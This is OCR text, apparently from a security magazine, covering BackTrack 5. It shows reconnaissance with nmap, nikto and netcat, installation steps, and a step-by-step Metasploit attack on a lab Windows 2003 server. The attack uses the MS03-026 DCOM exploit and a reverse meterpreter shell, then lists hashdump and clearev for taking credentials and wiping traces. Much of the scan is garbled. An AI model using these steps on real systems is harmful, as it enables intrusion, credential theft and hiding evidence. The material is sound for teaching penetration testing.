MYHOST1 Workstation Service 53/tcp filtered domain
WORKGROUP Domain Name 80/tcp filtered http

WORKGROUP Browser Service Elections 110/tcp filtered pop3

MYHOST1 File Server Service 443/tcp filtered https

WORKGROUP Master Browser 8080/tcp open http-proxy

__ _MSBROWSE  Master Browser 8888/tcp open sun-answerbook
Adapter address: 12-34-56-78-9a-bc MAC Address: 00:11:22:33:44:55

Nmap done: 1 IP address (1 host up) scanned in
3.03 seconds
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network: Listing 9. For verbose output that will print
all names received from each host, use -v argu-
ment: Listing 10.

To display services in human-readable form, use
-h argument, which can only be used with -v op-
tion: Listing 11.

onesixtyone - SNMP Scanner

To detect whether there is a Simple Network Mon-
itoring Protocol (SNMP) string on a device, use
the onesixtyone scanner. To access it, go to: Back-
Track > Information Gathering > Network Analysis
> SNMP Analysis > onesixty-one.

This will bring you to the console, showing the
usage for onesixtyone. When you try running it by
typlng onesixtyone ipaddress, YOU will receive the
following error message:

The program ‘onesixtyone’ is currently not
installed.

You can install it by typing: apt-get install
onesixtyone

You will have to enable the component called

‘universe’

However, you will not have to install it because
it's already on the system but not included in the
PATH environment variable:

echo S$PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:
/sbin:/bin:/usr/X11R6/bin:/etc/alternatives/gem-bin

You can remedy this by either updating the PATH
variable with onesixtyone’s path or by typing the

Listing 15. shell code XV

nmap --script http-enum, http-headers, http-methods
press-enum, http-wordpress-plugins -p 8080 192.1

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 201
Stats: 0:04:02 elapsed; 0 hosts completed (1 up
NSE Timing: About 55.56% done; ETC: 17:22 (0:04:54
Stats: 0:06:40 elapsed; 0 hosts completed (1 up
Nmap scan report for myhost2.home (192.168.1.6
Host is up (0.0046s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
| http-headers
| Date: Sun, 01 Jan 2012 00:11:44 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
X-Pingback: http://192.168.1.6:8080/xmlrpc.php
Connection: close
Content-Type: text/html; charset=UTF-8

|
|
|
|
|
|
| Request type: HEAD
I_
| http-php-version: Versions from credits query (mo
| Version from header x-powered-by: PHP/5.3.3
| http-enum

|  /wp-login.php: Possible admin folder

| http-wordpress-brute

| Accounts

| No valid accounts found

| Statistics

I

MAC Address: 00:11:22:33:44:55

Nmap done: 1 IP address (1 host up) scanned in 601

http-methods: No Allow or Public header in OPTIONS response (status code 200

Performed 2074 guesses in 600 seconds, average tps: 3

http-php-version, http-wordpress-brute, http-word-
68.1.6

2-01-01 17:11 PDT
1 undergoing Script Scan

remaining

1 undergoing Script Scan

re accurate): 5.3.3

.46 seconds
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whole path t0 onesixtyone: Listing 12. | decided to
use the latter approach: Listing 13. ... And we dis-
covered that the host we queried is an HP Laser-
Jet printer.

Nmap

| already mentioned nmap, the venerable port scan-
ner, when we were confirming opened ports for
exercise. In addition to port
scanning, nmap offers operating system and ser-
vice detection, and it has its own scripting engine,
called Nmap Scripting Engine (NSE). You can get
a list of scripts that come with the nmap package
by listing the content of the /usr/1ocal/share/nmap/
scripts directory. These scripts can automate scan-
ning tasks or provide additional information. Some
examples include: enumerate directories used by
popular web applications and servers, display the
HTTP headers returned, perform brute force pass-
word auditing against popular CMS/blog installa-
tions, enumerate usernames in CMS installations
by exploiting vulnerabilities.

Let’s first run regular nnap scan. It discovered that
the test server hosts a web server on ports 8080
and 8888: Listing 14.

Now, let’s collect more details about the web serv-
er and check for possible WordPress CMS vulner-

OUr tcptraceroute

Figure 2. Zenmap - Graphical front-end for nmap

Ol - ompuiter- 2, homelil162.168.1 .67

SERVIC

Figure 3. Zenmap scan results

www.hakin9.org/en
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abilities by adding some nnap scripts. It'll take some
time... If you want to know the status of the current
scan, just press the Enter key and nnap will display
percentage of the scan completed so far and an ap-
proximate time remaining until the scan completes
(Listing 15).

The scan with http and wordpress scripts provid-
ed more details: web server application type, PHP
version, and it confirmed that WordPress is indeed
running on this host. Also, the scan informed us
that WordPress provides an XML-RPC pingback.

Zenmap

Zenmap is a graphical front-end for nmap. To ac-
cess it, go to: BackTrack > Information Gathering >
Network Analysis > Network Scanners > zenmap
or type zenmap in the Terminal. After you start ze-
nmap, you can choose between 10 different pro-
files from the “Profile” drop-down box (Figure 2).
If these profiles don’t meet your needs, you can

/]
File Edit View Histor

= HIRS F.ep-::

& = = @l

testsite.com / 192.168.1.7
port 80

Target IP 192.168.1.7
Target hostname testsite.com
Target Pert 80

HTTP Server Apacha

Slte Link (Name)
Site Link (IP)

http:/testsite com:Bo/
http:f192 168 1. 780/

URI /
HTTP Methed GET
Description Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

Test Links httpoimestsite, com; B0/
http 192, 168, 1. 780/

OSVDB Entries QaVDE-0

uRl i

HTTP Method GET

Description HTTF TRACE methad is active, suggesting the host is vulnerable to
X5T

Test Links hitgpi/Restsite. com B0/

OSVDA Entries OSVDA 877

URI ficans/

HTTF Method GET

Description ficons/: Directory indexing found.

Test Links http: i \:80ficons
hbtp: :B0fcon:

0SVDE Entries OSVDB-3268

URI fcons/MEADME

HTTP Mathod GET

Description ficons/README: Apache default file found.

Test Links hitpftestsite com:80fconsREADME
hitpy192 1681, 7:80/ cons/README

OSVDE Entries OSVDA 3233

Start Time 2012-01-01 22:04:26

End Tima 2012-01-01 22:27:31

d Time 1385 seconds

Statisties 6474 items chocked, 12 omors, 4 findings

Software Details Mikto 2,15

LI Options -h testsite.com -D W -0 scan.html -F htm

Hosts Tested 1

Start Time
End Tima
Elapsed Time

Sun jan 01 22:04:25 2012
Sun jan 01 22:27:31 2012
1386 seconds

© J00F CIRT, Inc,

Figure 4. Nikto scan results — report page
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create new ones by going to the “Profile” menu and
choosing the “New Profile or Command” menu op-
tion. For my test host 192.168.1.67, | typed it in
the “Target” text box and for Profile | chose “Reg-
ular scan”. Discovered details are categorized in
Ports/Hosts, Topology, Host Details and Scans
tabs (Figure 3).

Listing 16. shell code XVI

nc -v -n -z -wl 192.168.1.67 1-65535

UNKNOWN 192.168.1.67] 65535 (? Connec-
tion timed out

< cut for clarity >

UNKNOWN 192.168.1.67] 8080 (http-alt) open

< cut for clarity >

UNKNOWN 192.168.1.67] 8888 (?) open

< cut for clarity >

Listing 17. shell code XVII

echo -e "HEAD / HTTP/1.0\r\n\r\n" | nc
192.168.1.6 8080

HTTP/1.0 200 OK

01 Jan 2012 04:55:47 GMT

Apache

Date: Sun
Server
X-Powered-By: PHP/5.3.3

X-Pingback: http://192.168.1.6:8080/xmlrpc.php
Connection: close

Content-Type: text/html; charset=UTF-8

Listing 18. shell code XVl

echo -e "HEAD / HTTP/1.0\r\n\r\n" | nc
192.168.1.6 8888

HTTP/1.1 200 OK

01 Jan 2012 05:07:38 GMT

Apache

X-Powered-By: PHP/5.3.3

Set-Cookie: 9760ab8e5a7dd78cfe227a9b0fc72bdf=r
iuthfbw92hndowncx9cfidbdal; path=/

P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP
IND DEM"

Date: Sun

Server

Cache-Control: no-cache

Pragma: no-cache
close

text/html

Connection

Content-Type charset=utf-8

« HaRIN9
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Tcpdump

Another venerable network tool, tcpdump, dumps
traffic on a network. | use it either to quick-
ly check network traffic or in combination with
wireshark (formerly Ethereal). Both tcpaump and
wireshark are located in BackTrack > Informa-
tion Gathering > Network Analysis > Network
Traffic Analysis. You can also invoke them by
typing tcpdump OF wireshark, respectively, in the
Terminal.

When | want to quickly check network traf-
fic, | just run tcpaump without any options. In that
case, it listens on the default network interface
and displays all of the packets to standard out-
put in real time. For more specific packet cap-
tures, | supply it arguments and then open the
captured file with wireshark. wireshark IS nice for
this because it allows filtering and highlighting of
packets.

To listen on etho network interface with highest
verbosity and to save the raw packets to a file:

tcpdump -vvv -i eth0 -w tcpdumpscanl.cap

Another example: Capture 1500 bytes of data
from each packet instead of the default of 65535
bytes, with a slightly more verbosity, save it to a
file named tcpdumpscan2.cap. In addition, capture
packets between a specific host and the whole C-
class network, only on port 9999:

tecpdump -vi eth0 -s 1500 -w tcpdumpscan2.cap host
testhost.com and net 192.168.1.0/24 and tcp port
9999

Nikto —- Web Server Assessment Tool
Nikto is a web server assessment tool. To access
it, go to: BackTrack > Vulnerability Assessment >
Web Application Assessment > Web Vulnerability
Scanners > nikto.

This will bring you to the console, showing the
usage for nikto. When you try running it by typing
nikto, you Will receive the following error message:

nikto --help

The program ‘nikto’ is currently not installed.
You can

install it by typing:

apt-get install nikto

You will have to enable the component called

‘multiverse’
Similar to the onesixtyone, you will not have to in-

stall nixto because it’s already on the system but
not included in the PATH environment variable.

TBO 03/2013



| solved this by typing the whole path to nixkto:

/pentest/web/nikto/nikto.pl -h testsite.com
-D V -0 scan.html -F htm

Launch your favourite Web browser and open
the report html file. It will display all vulnerabilities
that nixto discovered. For my test website, it dis-
covered four of them (Figure 4).

To get more information about a particular vul-
nerability, browse to Open Source Vulnerability
Database website (http.//www.osvdb.org/) and un-
der Quick Searches, in the OSVDB ID Lookup text
box enter the OSVDB ID and press on the Go but-
ton. This will bring a very informative page, which
will, between other details, include the solution.

Netcat (nc) - TCP/IP Swiss Army Knife
Netcat is known as “TCP/IP Swiss army knife”. It
reads and writes data across network connections,
using the TCP/IP protocol. Some of its features are
port scanning and port listening; however, its full
list of features is much longer.

To listen for inbound connections on port 9999:

nc -1 -p 9999

To obtain information about a host’'s TCP serv-
ers, send a string (e.g. word ‘EXIT’) and use time-
out. This will result in the server responding with a
greeting or error, which will contain details about
the service, e.g. its version.

echo EXIT | nc -v -w 5 192.168.1.8 22

Connection to 192.168.1.8 22 port [tcp/ssh]
succeeded!

SSH-2.0-OpenSSH 4.3

Protocol mismatch.

To get a web server’s details, including web appli-
cation and PHP version:

* First, scan for all ports, including ephemeral
ports in order to check for web servers running
on alternative ports. Options: -v > run verbose-
ly; -n > don’t resolve names; - > don’t send
data; -w1 > don’'t wait longer than 1 second for
a connection to occur (Listing 16).

» After that, issue a HEAD HTTP request to dis-
covered open ports. If web servers are running
on those ports, the response will contain HTTP
header: Listing 17 and Listing 18.

To keep BackTrack updated, use the following two
commands:

www.hakin9.org/en
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apt-get update
apt-get upgrade

If you receive message “The following pack-
ages have been kept back”, force the upgrade
by running:

apt-get update
apt-get dist-upgrade

BackTrack creators strongly urge against add-
ing the Ubuntu repositories to BT install because
Backtrack tools are built with many custom fea-
tures and custom kernel so installing non-cus-
tomized packages that haven't been tested on BT
would most likely result in breaking the system.

Conclusion

BackTrack is a complete testing package, contain-
ing an impressive array of tools. It's a stable and
easily updated system. In my tests, I've encoun-
tered only two very minor issues, related to the
PATH environment variable, so they were easy to
fix. Exploring more than 300 tools will keep you oc-
cupied for a long time.

DUSKO PUJETLOVIC

‘[ Dusko Pijetlovic is an IT Manager and
I Sr. Systems Administrator in Vancouver,
Canada and holds a M.Sc. in Mechanical
Engineering and Diploma of Technology
in Computer Systems Technology. He is
a proponent of GNU/Linux and Free and
Open Source Software, with a passion for
security, solving problems and helping
organization members perform their jobs with excellence and
efficiency.
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BackTrack 5

Toolkit Tutorial

BackTrack is an operating system based on the Ubuntu
GNU/Linux distribution aimed at digital forensics and
penetration testing use. It is named after backtracking, a
search algorithm. The current version is BackTrack 5, code

name,Revolution/

ity allows users to boot BackTrack directly

S upport for Live CD and Live USB functional-
from portable media without requiring instal-

Figure 1. Linux Viev

|
LEEER ¢ Welcome
kspanol Ready to install? Once you answer a few questions, the
Esperanto contents of the live CD can be installed on this computer
ik ': 50 You can run BackTrack Live at full speed without the CD.
Francais ‘] Answering the questions should only take a few minutes.
Gacilge
Galego
Hrvatski
Italiann
Kurdi
Latviski
Lietuvikai
Magyar
Nederiands
Steplof 7 | Quit | [ || Forward |

Figure 2. BackTrack Installation |
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lation, though permanent installation to hard disk
is also an option. BackTrack includes many well
known security tools including:

* Metasploit integration

* RFMON Injection capable wireless drivers
» Aircrack-NG

* Kismet

* Nmap

* Ophcrack

» Ettercap

* Wireshark (formerly known as Ethereal)

* BeEF (Browser Exploitation Framework)

* Hydra (Figure 1)

Table 1. Releasing Dates Of BackTrack Versions

February 5,2006 BackTrack v.1.0 Beta

May 26, 2006 The BackTrack project released its
first non-beta version (1.0).

March 6, 2007 BackTrack 2 final released.

June 19, 2008 BackTrack 3 final released.

January 9, 2010 BackTrack 4 final release. (Now based
on Ubuntu)

May 8, 2010 BackTrack 4 R1 release

November 22, BackTrack 4 R2 release

2010

May 10, 2011 BackTrack 5 release (Based on Ubun-
tu 10.04 LTS, Linux kernel 2.6.38)

August 18,2011 BackTrack 5 R1 release (Based on
Ubuntu 10.04 LTS, Linux kernel
2.6.39.4)

March 1, 2012 BackTrack 5 R2 release (Linux kernel
3.2.6[8])
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Steps To Install BackTrack 5

We are finally ready to start installing Backtrack.
To do, double-click on the install.sh icon on the
desktop. This will start the graphical installer. Se-
lect you language of choice and click the ‘Forward’
button (Figure 2).

Next, select you time zone and click the ‘For-
ward’ button (Figure 3).

The next step is to select our keyboard layout.
Pick yours and click the ‘Forward’ button. | can not
vouch for any keyboard layout other than English
(Figure 4).

Click on ‘Specify partitions manually’ and click
the ‘Forward’ button (Figure 5).

We are not going to indicate the mount points
for our partitions. First let's setup our root parti-
tion. Click on the row with vg-root in it and click the
‘Change’ button (Figure 6).

Select ext4 from the dropdown menu for ‘Use
as:’, click ‘Format the partition:’, enter /' without
the quotes for the mount point and click the ‘OK’
button. The system will re-read the partition table
and redisplay it (Figure 7).

Where are you?

Select your location, so that the system can use appropriate display conventions for
your country, tetch updates from sites clase to you, and set the clack to the camrect
local time.

.

[ o I. o
| r e
Lé

Region: |Uniled Slales | v | Time Zone: |United States (Chicago) | w]

Step2 of 7 | Quit Back

| | Forward |

BackTrack 5 Toolkit Tutorial

* Install

Prepare disk space

This compiter has no aperating systems on it

Where do you want to put BackTrack Live?
() Erase and use Lhe entire disk

© [Specify partitions

 r— I ]

lly (advanced)|

B Specity partitions manually (advanced)

Step 4 of 7 | quit Dack ,|' Forward
| .

Figure 5. BackTrack Installation IV

Now for the boot partition. Click the row with you
boot parition in it, /dev/san1 in My case, and click
the ‘Change’ button (Figure 8).

Again, select ext4 and click the format checkbox.
Enter /000t without the quotes for the mount point and
click the ‘OK’ button. The disk partition will be re-read
and the display updated (Figure 9). Click the ‘Forward’

Prepare partitions

[l mapper/vg-root (ext4)

Device
Jdev/mapper/pvarypl
fdev/mapperfvg-root

Type Mount point Format? Size Used

Jdev/mapperfvg root cxté n 16634 ME unknown
fdevfsda
Jdevfsdb
fdev/sdbl 534 MB  unknown
/dev/sdb5 16639 ME unknown
Icnange,..l IDelete Revert |
Step5of 8 | Quit | Back Forward

Figure 3. BackTrack Installation Il

Keyboard layout
Which layout is most similar to your keyboard?
O [Suggested option] USA
e
O Guess keymap: | |

() Chonse your own:

You can Lype into Lhis box Lo lest your new keyboard layoul.,

Step3of 7 Quit Back

| | Forward

Figure 6. BackTrack Installation V
T

Prepare partitions

| * Edit partition |

Edit a partition

Use as: Ext4 joumaling file system v

Format the partition:

Mount paint: |J1 v

| Ca ncel | [a]4

! | Change... Dclctci IHm.rcn_

Stepsof 8 Quit | Back | Forward |

Figure 4. BackTrack Installation Il
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Prepare partitions

e e e e e e e e i
[ sdbl (unknown) B sdb5 (unknown)

Device

.Wpe.l-lnunr point Format? Size lused

{dev/mapper/pvcrypt

Jdev/mapperjvg-rool

fdev/mapper/vg-root extd / @ 16634 MB unknown
fdev/sda

jdev/zdb

fdev/sdbl [ | 534 MB  unknown
fdevjsdb5 16639 MB unknown

| ew Partition Table | | Change... | | Delete | | Revert |

Slep50l8

| Quil | Back ||Fu:ward|

Prepare partitions

M sdbl {extd sdb5 (unknown
| * Do you want to return to the partitioning menu?
|Device |

You have not sclected any partitions for usc as swap space.
Enabling swap space is recon ded so that the syst

can make better use of the avallable physical memory, and
so that it behaves better when physical memory is scarce.
You may experience installation problems Iif you do not
have enough physical memory.

Jdevimap
Joevimapp
fdevimap)
Jdevfsda
Jdevfsdb
fdev/sdb3

It you do not go back to the partitioning menu and assign a
swap partition, the installation will continue without swap

space.
GoBack | | Continue |

Quit

StepSof 8 | Back | | Forward |

Figure 8. BackTrack Installation Vil

button (Figure 10). You will get this message if you
are installing to a USB drive and not using a swap
partition. Click the ‘Continue’ button (Figure 11).

WARNING
You must click on the advanced tab on the next
page and select your USB drive as the target for

Prepare partitions

| # Edit partition
Edit a partition

uUse as: Ext4 journaling file system v
|

Format the partition: =

Mount point: |,.'b<)ul| luseil
Cancel OK
: ] | il Change... | | Delele | | Reverl |
SlepSof 8 Quil |l Back

I Forward |

Figure 11. BackTrack Installation X

installing the bootloader. You will break your sys-
tem if you do not (Figure 12).

Don’t forget! Make sure you select the target disk
for your install as the device for the boot loader to
be installed on or you run the risk of making the
system you are doing this on non-bootable. Then
click on the ‘OK’ button (Figure 13).

Ready to Install

Your new operating system will now be installed with the following settings:

Languagce: English
Keyboard layout: USA
MName:

Login names;

Location: Amcrica/Chicago
Migralion Assislant:

| x y 1 " X
Il you continue, the changes listed below will be writlen Lo the disks.
| Otherwise, you will be able to make further changes manually.

v

| Advanced... |

Step8oul 8 Quil | Back |l Install |

Figure 9. BackTrack Installation Vil
T

Prepare partitions

P
[ sdbl (ext4) W sdb5 (unknown)

Device Type Mount point Format? Size Used

Jdev/mapper/pverypt

Jdevimapperivg-root

fdevimapperjvg-root extd [ a
Jdev/sda

16634 MB unknown

Jdev/sdb
Jdev/sdbl

extd /boot I 534 MBE  unknown

16639 MB unknown

fdevisdbs

Jew Partition Table || | |cr|ange...| |De1ete| IReven

Step 5 0f 8 | ouit || Back || Forward_]

Figure 12. BackTrack Installation XI
. . -wtar________________________________|

Ready to install

® i |
Soar el Advanced Options |

Boot loader

Languf g Install boot loader

Keybo ; 3 :

Name Device for oot lnader installation:

Login evysdh [ ]l

Locati gei —

Migra§

Network proxy
HTTP proxy: Paort:
If you
Othen | Cancel | oK 4
| Advanced... |

Slep 8ol 8 | Quil Il Back I Install |

Figure 10. BackTrack Installation IX
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Ready to Install

“four new operating system will now be installed with the following settings:

Language: English =
Keyboard layout: USA
Name:

Login name:;

Location: America/Chicago

Migration Assislant:

Il you continue, the changes listed below will be written Lo the disks.
Orherwise, you will be able ta make further changes manually.

| Advanced... |

Slep 8ol 8 Quit | Back | | Install |

Figure 14. BackTrack Installation XllI

Click the ‘Install’ button to start the install (Fig-
ure 14). This will take some time. Go get a coke or
beverage or your choice and relax for a bit (Figure
15). More waiting (Figure 16), and ... more waiting.
If it seems like the system is stuck at 99% forever,
that's normal, at least in every case where | have
done the install (Figure 17).

Finally! Important! Click on the ‘Continue Testing’
button. DO NOT click on the ‘Restart Now’ button
or you have to redo a bunch of stuff (Figure 18).

*****Sucssessfully Installed BackTrack 5 R2*****

Metasploit
If you are really interested in network security,
chances are you must have heard of the Metasploit
over the last few years.

Now, have you ever wondered what someone
can do to your PC, by just knowing your IP. Here’s
the answer. He could OwN you, or in other words,

| v Installing system

Creating ext4 file system for /in partition #1 of LVM VG vg...

Figure 16. XV

| ~ Installing system

Configuring hardware...

Figure 17. XVI
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[ * Installation Complete

Installation has finished. You can continue testing
Ubuntu now, but until you restart the computer, any
changes you make or documents you save will not be
preserved.

| Continue Testing | || Restart Now |

Figure 18. XViI

he could have full access to your PC provided you
have just a few security loopholes which may arise
cause of even a simple reason like not updating
your Flash player last week, when it prompted you
to do so. Metasploit is a hacker’s best friend, main-
ly cause it makes the job of exploitation and post-
exploitation a lot easier compared to other tradi-
tional methods of hacking.

The topic Metasploit is very vast in itself. Howev-
er, I'll try keeping it basic and simple so that it could
be understood by everyone here. Also, Metasploit
can be used with several other tools such as NMap
or Nessus (all these tools are present in Backtrack).

In this tutorial, We will learn that how to exploit
a system using a meterpreter payload and start a
key logger on the victim’'s machine.

Hacking through Metasploit is done in 3 simple
steps: Point, Click, Own.

Before we go into the details of The Metasploit
Framework, let me give you a little idea of some
basic terms (may seem boring at first, but you
must be knowing them)

* Vulnerability: A flaw or weakness in system
security procedures, design or implementa-
tion that could be exploited resulting in notable
damage.

» Exploit: A piece of software that take advan-
tage of a bug or vulnerability, leading to privi-
lege escalation or DoS attacks on the target.

* Overflow: Error caused when a program tries
to store data beyond its size. Maybe used by
an attacker to execute malicious codes.

* root@bt: ~

Figure 19. Metasploit Shell |
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Figure 20. Tools Pathway

* Payload: Actual code which runs on the com-
promised system after exploitation

Now, what does Metasploit is?

It is an open source penetration testing framework,
used for developing and executing attacks against
target systems. It has a huge database of exploits,
also it can be used to write our own 0-day exploits.

Introduction
When | say Penetration Testing tool the first thing
that comes to your mind is the world’s largest Ruby
project, with over 700,000 lines of code Metasploit
[Reference 1]. No wonder it had become the de-
facto standard for penetration testing and vulner-
ability development with more than one million
unique downloads per year and the world’s larg-
est, public database of quality assured exploits.

The Metasploit Framework is a program and
sub-project developed by Metasploit LLC. It was
initially created in 2003 in the Perl programming
language, but was later completely re-written in
the Ruby Programming Language. With the most
recent release (3.7.1) Metasploit has taken exploit
testing and simulation to a complete new level
which has muscled out its high priced commercial
counterparts by increasing the speed and lethality
of code of exploit in shortest possible time.

I will walk your through detailed step by step se-
quence of commands along with graphical illustra-

Terminal
ew Terminal Help

Figure 21. Metasploit Shell Il
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Figure 22. Metasploit Shell IlI

tions to perform effective penetration testing using
Metasploit framework.

Working With Metasploit

Metasploit is simple to use and is designed with

ease-of-use in mind to aid Penetration Testers.
Metasploit Framework follows these common

steps while exploiting a any target system

» Select and configure the exploit to be targeted.
This is the code that will be targeted toward a
system with the intention of taking advantage
of a defect in the software. Validate whether
the chosen system is susceptible to the chosen
exploit.

* Select and configure a payload that will be
used. This payload represents the code that
will be run on a system after a loop-hole has
been found in the system and an entry point is
set.t.

+ Select and configure the encoding schema
to be used to make sure that the payload can
evade Intrusion Detection Systems with ease.

» Execute the exploit.

| will be taking you through this demo in Back-
Track 5 [Reference 2], so go ahead and download
that if you don’t already have it. The reason for us-
ing BackTrack 5 is that it comes with perfect set-
up for Metasploit and everything that Pen Testing
person ever need.

Metasploit framework has three work environ-
ments, the msfconsole, the msfcli interface and

Figure 23. Metasploit Shell IV
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Figure 24. Metasploit Shell V

the msfweb interface. However, the primary and
the most preferred work area is the ‘msfconsole’. It
is an efficient command-line interface that has its
own command set and environment system. Be-
fore executing your exploit, it is useful to under-
stand what some Metasploit commands do. Below
are some of the commands that you will use most.
Graphical explanation of their outputs would be
given as and when we use them while exploiting
some boxes in later part of the article.

® search <keyword>: Typlng in the command search
along with the keyword lists out the various
possible exploits that have that keyword pat-
tern.

* show exploits: Typing in the command show
exploits lists out the currently available ex-
ploits. There are remote exploits for various
platforms and applications including Windows,
Linux, IS, Apache, and so on, which help to
test the flexibility and understand the working
of Metasploit.

® show payloads. With the same show Command,
we can also list the payloads available. We can
use a show payloads to list the payloads.

* show options: Typing in the command show
options Will show you options that you have set
and possibly ones that you might have forgot-
ten to set. Each exploit and payload comes
with its own options that you can set.

* info <type> <name>! If you want specific informa-
tion on an exploit or payload, you are able to
use the ‘info’ command. Let’s say we want to

Figure 25. Metasploit Shell VI
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Figure 26. Metasploit Shell Vi

get complete info of the payload ‘winbind’. We
can use ‘info payload winbind’.

* use This command tells
Metasploit to use the exploit with the specified
name.

* set RHOST <hostname or ip> ThiS command
will instruct Metasploit to target the specified
remote host.

* set RPORT <host port>. This command sets the
port that Metasploit will connect to on the re-
mote host.

PAYLOAD <generic/shell bind _tcp> ThiS
command sets the payload that is used to a
generic payload that will give you a shell when
a service is exploited.

* set LPORT <local port> [ThiS command sets
the port number that the payload will open on
the server when an exploit is exploited. It is im-
portant that this port number be a port that can
be opened on the server (i.e.it is not in use by
another service and not reserved for adminis-
trative use), so set it to a random 4 digit num-
ber greater than 1024, and you should be fine.
You'll have to change the number each time
you successfully exploit a service as well.

* exploit: Actually exploits the service. Anoth-
er version of exploit, exploit reloads your ex-
ploit code and then executes the exploit. This
allows you to try minor changes to your exploit
code without restarting the console

* help: The neip command will give you basic in-
formation of all the commands that are not list-
ed out here.

<exploit name>!

® set

Figure 27. Pentesting ShellCode |
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Figure 28. Pentesting ShellCode Il

Pen Testing Using Metasploit

Here is the demonstration of pen testing a vulner-
able target system using Metasploit with detailed
steps.

Victim Machine

0S: Microsoft Windows Server 2003
IP: IP: 192.168.42.129

Attacker (Our) Machine

0S: Backtrack 5

Kernel version: Linux bt 2.6.38

#1 SMP Thu Mar 17 20:52:18 EDT 2011 1686 GNU/Linux
Metasploit Version:

Built in version of Metasploit 3.8.0-dev

IP: 192.168.42.128

Our objective here is to gain remote access to
given target which is known to be running vulner-
able Windows 2003 Server.

Here are the detailed steps of our attack in ac-
tion.

Step 1
Perform an Nmap [Reference 3] scan of the re-
mote server 192.168.42.129.

The output of the Nmap scan shows us a range
of ports open which can be seen Figure 19.

We notice that there is port 135 open. Thus we
can look for scripts in Metasploit to exploit and gain
shell access if this server is vulnerable.

Step 2

Now on your BackTrack launch msfconsole as
shown Figure 20. Application > BackTrack > Exploi-
tation Tools > Network Exploit Tools > Metasploit

Terminal

Figure 29. Pentesting ShellCode IlI
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Figure 30. Pentesting ShellCode IV

Framework > msfconsole. During the initialization
of msfconsole, standard checks are performed. If
everything works out fine we will see the welcome
screen as shown (Figure 21).

Step 3
Now, we know that port 135 is open so, we search
for a related RPC exploit in Metasploit.

To list out all the exploits supported by Metasploit
we use the show exploits command. This exploit
lists out all the currently available exploits and a
small portion of it is shown in the Figure 22.

As you may have noticed, the default installation
of the Metasploit Framework 3.8.0-dev comes with
696 exploits and 224 payloads, which is quite an
impressive stockpile thus finding a specific exploit
from this huge list would be a real tedious task. So,
we use a better option. You can either visit the link
http.//metasploit.com/modules/ or another alterna-
tive would be to use the search <keyword> command
in Metasploit to search for related exploits for RPC.
command in Metasploit to search for related ex-
ploits for RPC.

In msfconsole type search dcerpc to search all
the exploits related to dcerpc keyword as that ex-
ploit can be used to gain access to the server with
a vulnerable port 135. A list of all the related ex-
ploits would be presented on the msfconsole win-
dow and this is shown in Figure 23.

Step 4

Now that you have the list of RPC exploits in front of
you, we would need more information about the ex-
ploit before we actually use it. To get more informa-
tion regarding the exploit you can use the command:
This

info exploit/windows/dcerpc/ms03_026_ dcom.

command provides information such as available

Figure 31. Pentesting ShellCode V
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* root@bt: /pentest/exploits/set
File Edit View Terminal Help

1 ~# [ely] fpentestfexplultsfse

1test/ PF”l“lls set

Figure 32. Pentesting ShellCode VI

targets, exploit requirements, details of vulnerability
itself, and even references where you can find more
information. This is shown in Figure 24.

Step 5

The command use <exploit name> activates the ex-
ploit environment for the exploit <expioit name>. In
our case we will use the following command to ac-
tivate our exploit (Figure 25)

“use exploit/windows/dcerpc/ms03 026 dcom”

From the above figure we can see that, after the
use of the exploit command the prompt chang-
es from “msf>" to nst exploit(ms03 026 dcom) >
which symbolizes that we have entered a tempo-
rary environment of that exploit.

Step 6
Now, we need to configure the exploit as per the
need of the current scenario. The show options
command displays the various parameters which
are required for the exploit to be launched prop-
erly. In our case, the RPORT is already set to 135
and the only option to be set is RHOST which can
be set using the set ruosT command.

We enter the command set rHOST 192.168.42.129
andwe seethatthe RHOST is setto0 192.168.42.129
(Figure 26).

Step 7
The only step remaining now before we launch
the exploit is setting the payload for the exploit.

LIMML

SEIT
Rel 1K

Artillery Edition

Figure 33. Pentesting ShellCode VII
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Flgure 34. Pentestmg SheIICode Vil

We can view all the available payloads using the
show payloads command.

As shown in the Figure 27, show payloads cOm-
mand will list all payloads that are compatible with
the selected exploit.

For our case, we are using the reverse tcp me-
terpreter which can be set using the command,
set PAYLOAD windows/meterpreter/reverse tcp which
spawns a shell if the remote server is successfully
exploited. Now again you must view the available
options using “show options” to make sure all the
compulsory sections are properly filled so that the
exploit is launched properly (Figure 28).

We notice that the LHOST for out payload is not
set, so we set it to out local IP ie. 192.168.42.128
using the command set rHOST 192.168.42.128.

Flgure 35.iX

Flgure 36. Pentest/ng She/lCode X
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Figure 37. Pentesting ShellCode XI
Step 8

Now that everything is ready and the exploit has
been configured properly it's time to launch the ex-
ploit.

You can use the check command to check wheth-
er the victim machine is vulnerable to the exploit
or not. This option is not present for all the exploits
but can be a real good support system before you
actually exploit the remote server to make sure the
remote server is not patched against the exploit
you are trying against it.

In our case as shown in the Figure 29, our se-
lected exploit does not support the check option.

The exp1oit command actually launches the at-
tack, doing whatever it needs to do to have the
payload executed on the remote system (Figure
30). He above figure shows that the exploit was
successfully executed against the remote ma-
chine 192.168.42.129 due to the vulnerable port
135. This is indicated by change in prompt to

meterpreter >.

Step 9

Now that a reverse connection has been setup be-
tween the victim and our machine, we have com-
plete control of the server. We can use the neip
command to see which all commands can be used
by us on the remote server to perform the related
actions as displayed in the Figure 31.

£ a8 B

Figure 38. Pentesting ShellCode XII

« HaRINS

<)

Gail wessessnns

A Boogh spprsch i s

e By Gmape B mm

Figure 39. Google Mail Overviev
Below are the results of some of the meterpreter
commands.

* ipconfig” prints the remote machines all cur-
rent TCP/IP network configuration values

* wgetuid” prints the server’'s username to he
console.

* “hashdump” dumps the contents of the SAM da-
tabase.

* wclearev” Can be used to wipe off all the traces
that you were ever on the machine.

Summary

Thus we have successfully used Metasploit frame-
work to break into the remote Windows 2003 server
and get shell access which can be used to control
the remote machine and perform any kind of op-
erations. Here are potential uses of the Metasploit
Framework:

* Metasploit can be used during penetration test-
ing to validate the reports by other automatic
vulnerability assessment tools to prove that the
vulnerability is not a false positive and can be
exploited. Care has to taken because not only
does it disprove false positives, but it can also
breaks things.

» Metasploit can be used to test the new exploits
that come up nearly every day on your locally

|y

: & B BT [ ] x -
Figure 40. Social-Engineer Toolkit |
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Figure 41. Social-Engineer Toolkit Il

hosted test servers to understand the effective-
ness of the exploit.

* Metasploit is also a great testing tool for your
